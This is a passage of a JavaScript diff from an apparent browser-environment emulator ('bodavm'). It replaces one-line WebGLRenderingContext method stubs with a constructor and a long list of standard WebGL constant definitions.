enumerable:true, writable:true, value:function vertexAttrib2f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib2f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib2fv", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib2fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib2fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib3f", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib3f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib3f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib3fv", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib3fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib3fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib4f", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib4f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib4f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib4fv", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib4fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib4fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttribPointer", {configurable:true, enumerable:true, writable:true, value:function vertexAttribPointer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttribPointer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "viewport", {configurable:true, enumerable:true, writable:true, value:function viewport (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "viewport", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "makeXRCompatible", {configurable:true, enumerable:true, writable:true, value:function makeXRCompatible (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "makeXRCompatible", arguments)}},'prototype'); +// WebGLRenderingContext对象 + +bodavm.memory.globalobj['WebGLRenderingContext'] = function WebGLRenderingContext() { + console.log_copy('WebGLRenderingContext 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLRenderingContext)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLRenderingContext'], "WebGLRenderingContext"); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_BUFFER_BIT", { + configurable: false, + enumerable: true, + writable: false, + value: 256 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BUFFER_BIT", { + configurable: false, + enumerable: true, + writable: false, + value: 1024 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_BUFFER_BIT", { + configurable: false, + enumerable: true, + writable: false, + value: 16384 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POINTS", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINES", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINE_LOOP", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINE_STRIP", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TRIANGLES", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TRIANGLE_STRIP", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TRIANGLE_FAN", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ZERO", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SRC_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 768 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_SRC_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 769 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SRC_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 770 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_SRC_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 771 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DST_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 772 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_DST_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 773 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DST_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 774 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_DST_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 775 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SRC_ALPHA_SATURATE", { + configurable: false, + enumerable: true, + writable: false, + value: 776 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FUNC_ADD", { + configurable: false, + enumerable: true, + writable: false, + value: 32774 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_EQUATION", { + configurable: false, + enumerable: true, + writable: false, + value: 32777 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_EQUATION_RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 32777 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_EQUATION_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 34877 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FUNC_SUBTRACT", { + configurable: false, + enumerable: true, + writable: false, + value: 32778 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FUNC_REVERSE_SUBTRACT", { + configurable: false, + enumerable: true, + writable: false, + value: 32779 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_DST_RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 32968 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_SRC_RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 32969 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_DST_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32970 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_SRC_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32971 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CONSTANT_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32769 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_CONSTANT_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32770 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CONSTANT_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32771 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_CONSTANT_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32772 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32773 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ARRAY_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 34962 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ELEMENT_ARRAY_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 34963 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ARRAY_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 34964 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ELEMENT_ARRAY_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 34965 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STREAM_DRAW", { + configurable: false, + enumerable: true, + writable: false, + value: 35040 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STATIC_DRAW", { + configurable: false, + enumerable: true, + writable: false, + value: 35044 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DYNAMIC_DRAW", { + configurable: false, + enumerable: true, + writable: false, + value: 35048 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BUFFER_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34660 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BUFFER_USAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 34661 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CURRENT_VERTEX_ATTRIB", { + configurable: false, + enumerable: true, + writable: false, + value: 34342 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRONT", { + configurable: false, + enumerable: true, + writable: false, + value: 1028 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BACK", { + configurable: false, + enumerable: true, + writable: false, + value: 1029 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRONT_AND_BACK", { + configurable: false, + enumerable: true, + writable: false, + value: 1032 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 3553 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CULL_FACE", { + configurable: false, + enumerable: true, + writable: false, + value: 2884 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND", { + configurable: false, + enumerable: true, + writable: false, + value: 3042 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DITHER", { + configurable: false, + enumerable: true, + writable: false, + value: 3024 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_TEST", { + configurable: false, + enumerable: true, + writable: false, + value: 2960 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_TEST", { + configurable: false, + enumerable: true, + writable: false, + value: 2929 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SCISSOR_TEST", { + configurable: false, + enumerable: true, + writable: false, + value: 3089 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POLYGON_OFFSET_FILL", { + configurable: false, + enumerable: true, + writable: false, + value: 32823 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_ALPHA_TO_COVERAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 32926 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_COVERAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 32928 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NO_ERROR", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_ENUM", { + configurable: false, + enumerable: true, + writable: false, + value: 1280 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 1281 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_OPERATION", { + configurable: false, + enumerable: true, + writable: false, + value: 1282 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "OUT_OF_MEMORY", { + configurable: false, + enumerable: true, + writable: false, + value: 1285 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CW", { + configurable: false, + enumerable: true, + writable: false, + value: 2304 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CCW", { + configurable: false, + enumerable: true, + writable: false, + value: 2305 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINE_WIDTH", { + configurable: false, + enumerable: true, + writable: false, + value: 2849 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALIASED_POINT_SIZE_RANGE", { + configurable: false, + enumerable: true, + writable: false, + value: 33901 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALIASED_LINE_WIDTH_RANGE", { + configurable: false, + enumerable: true, + writable: false, + value: 33902 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CULL_FACE_MODE", { + configurable: false, + enumerable: true, + writable: false, + value: 2885 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRONT_FACE", { + configurable: false, + enumerable: true, + writable: false, + value: 2886 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_RANGE", { + configurable: false, + enumerable: true, + writable: false, + value: 2928 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 2930 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_CLEAR_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 2931 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_FUNC", { + configurable: false, + enumerable: true, + writable: false, + value: 2932 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_CLEAR_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 2961 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_FUNC", { + configurable: false, + enumerable: true, + writable: false, + value: 2962 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 2964 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_PASS_DEPTH_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 2965 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_PASS_DEPTH_PASS", { + configurable: false, + enumerable: true, + writable: false, + value: 2966 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_REF", { + configurable: false, + enumerable: true, + writable: false, + value: 2967 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_VALUE_MASK", { + configurable: false, + enumerable: true, + writable: false, + value: 2963 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 2968 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_FUNC", { + configurable: false, + enumerable: true, + writable: false, + value: 34816 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 34817 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_PASS_DEPTH_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 34818 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_PASS_DEPTH_PASS", { + configurable: false, + enumerable: true, + writable: false, + value: 34819 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_REF", { + configurable: false, + enumerable: true, + writable: false, + value: 36003 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_VALUE_MASK", { + configurable: false, + enumerable: true, + writable: false, + value: 36004 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 36005 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VIEWPORT", { + configurable: false, + enumerable: true, + writable: false, + value: 2978 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SCISSOR_BOX", { + configurable: false, + enumerable: true, + writable: false, + value: 3088 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_CLEAR_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 3106 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 3107 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_ALIGNMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 3317 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "PACK_ALIGNMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 3333 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_TEXTURE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 3379 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VIEWPORT_DIMS", { + configurable: false, + enumerable: true, + writable: false, + value: 3386 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SUBPIXEL_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3408 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RED_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3410 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GREEN_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3411 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLUE_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3412 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALPHA_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3413 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3414 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3415 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POLYGON_OFFSET_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 10752 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POLYGON_OFFSET_FACTOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32824 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_BINDING_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 32873 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_BUFFERS", { + configurable: false, + enumerable: true, + writable: false, + value: 32936 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLES", { + configurable: false, + enumerable: true, + writable: false, + value: 32937 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_COVERAGE_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 32938 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_COVERAGE_INVERT", { + configurable: false, + enumerable: true, + writable: false, + value: 32939 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COMPRESSED_TEXTURE_FORMATS", { + configurable: false, + enumerable: true, + writable: false, + value: 34467 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DONT_CARE", { + configurable: false, + enumerable: true, + writable: false, + value: 4352 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FASTEST", { + configurable: false, + enumerable: true, + writable: false, + value: 4353 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NICEST", { + configurable: false, + enumerable: true, + writable: false, + value: 4354 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GENERATE_MIPMAP_HINT", { + configurable: false, + enumerable: true, + writable: false, + value: 33170 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BYTE", { + configurable: false, + enumerable: true, + writable: false, + value: 5120 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_BYTE", { + configurable: false, + enumerable: true, + writable: false, + value: 5121 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SHORT", { + configurable: false, + enumerable: true, + writable: false, + value: 5122 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT", { + configurable: false, + enumerable: true, + writable: false, + value: 5123 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT", { + configurable: false, + enumerable: true, + writable: false, + value: 5124 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 5125 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 5126 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_COMPONENT", { + configurable: false, + enumerable: true, + writable: false, + value: 6402 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 6406 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 6407 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGBA", { + configurable: false, + enumerable: true, + writable: false, + value: 6408 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LUMINANCE", { + configurable: false, + enumerable: true, + writable: false, + value: 6409 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LUMINANCE_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 6410 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT_4_4_4_4", { + configurable: false, + enumerable: true, + writable: false, + value: 32819 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT_5_5_5_1", { + configurable: false, + enumerable: true, + writable: false, + value: 32820 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT_5_6_5", { + configurable: false, + enumerable: true, + writable: false, + value: 33635 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAGMENT_SHADER", { + configurable: false, + enumerable: true, + writable: false, + value: 35632 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_SHADER", { + configurable: false, + enumerable: true, + writable: false, + value: 35633 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VERTEX_ATTRIBS", { + configurable: false, + enumerable: true, + writable: false, + value: 34921 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VERTEX_UNIFORM_VECTORS", { + configurable: false, + enumerable: true, + writable: false, + value: 36347 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VARYING_VECTORS", { + configurable: false, + enumerable: true, + writable: false, + value: 36348 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_COMBINED_TEXTURE_IMAGE_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 35661 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VERTEX_TEXTURE_IMAGE_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 35660 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_TEXTURE_IMAGE_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 34930 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_FRAGMENT_UNIFORM_VECTORS", { + configurable: false, + enumerable: true, + writable: false, + value: 36349 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SHADER_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 35663 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DELETE_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35712 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINK_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35714 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VALIDATE_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35715 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ATTACHED_SHADERS", { + configurable: false, + enumerable: true, + writable: false, + value: 35717 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ACTIVE_UNIFORMS", { + configurable: false, + enumerable: true, + writable: false, + value: 35718 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ACTIVE_ATTRIBUTES", { + configurable: false, + enumerable: true, + writable: false, + value: 35721 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SHADING_LANGUAGE_VERSION", { + configurable: false, + enumerable: true, + writable: false, + value: 35724 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CURRENT_PROGRAM", { + configurable: false, + enumerable: true, + writable: false, + value: 35725 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEVER", { + configurable: false, + enumerable: true, + writable: false, + value: 512 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LESS", { + configurable: false, + enumerable: true, + writable: false, + value: 513 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "EQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 514 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LEQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 515 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GREATER", { + configurable: false, + enumerable: true, + writable: false, + value: 516 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NOTEQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 517 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GEQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 518 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALWAYS", { + configurable: false, + enumerable: true, + writable: false, + value: 519 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "KEEP", { + configurable: false, + enumerable: true, + writable: false, + value: 7680 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "REPLACE", { + configurable: false, + enumerable: true, + writable: false, + value: 7681 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INCR", { + configurable: false, + enumerable: true, + writable: false, + value: 7682 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DECR", { + configurable: false, + enumerable: true, + writable: false, + value: 7683 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVERT", { + configurable: false, + enumerable: true, + writable: false, + value: 5386 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INCR_WRAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34055 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DECR_WRAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34056 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VENDOR", { + configurable: false, + enumerable: true, + writable: false, + value: 7936 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERER", { + configurable: false, + enumerable: true, + writable: false, + value: 7937 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERSION", { + configurable: false, + enumerable: true, + writable: false, + value: 7938 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEAREST", { + configurable: false, + enumerable: true, + writable: false, + value: 9728 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 9729 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEAREST_MIPMAP_NEAREST", { + configurable: false, + enumerable: true, + writable: false, + value: 9984 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINEAR_MIPMAP_NEAREST", { + configurable: false, + enumerable: true, + writable: false, + value: 9985 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEAREST_MIPMAP_LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 9986 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINEAR_MIPMAP_LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 9987 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_MAG_FILTER", { + configurable: false, + enumerable: true, + writable: false, + value: 10240 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_MIN_FILTER", { + configurable: false, + enumerable: true, + writable: false, + value: 10241 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', 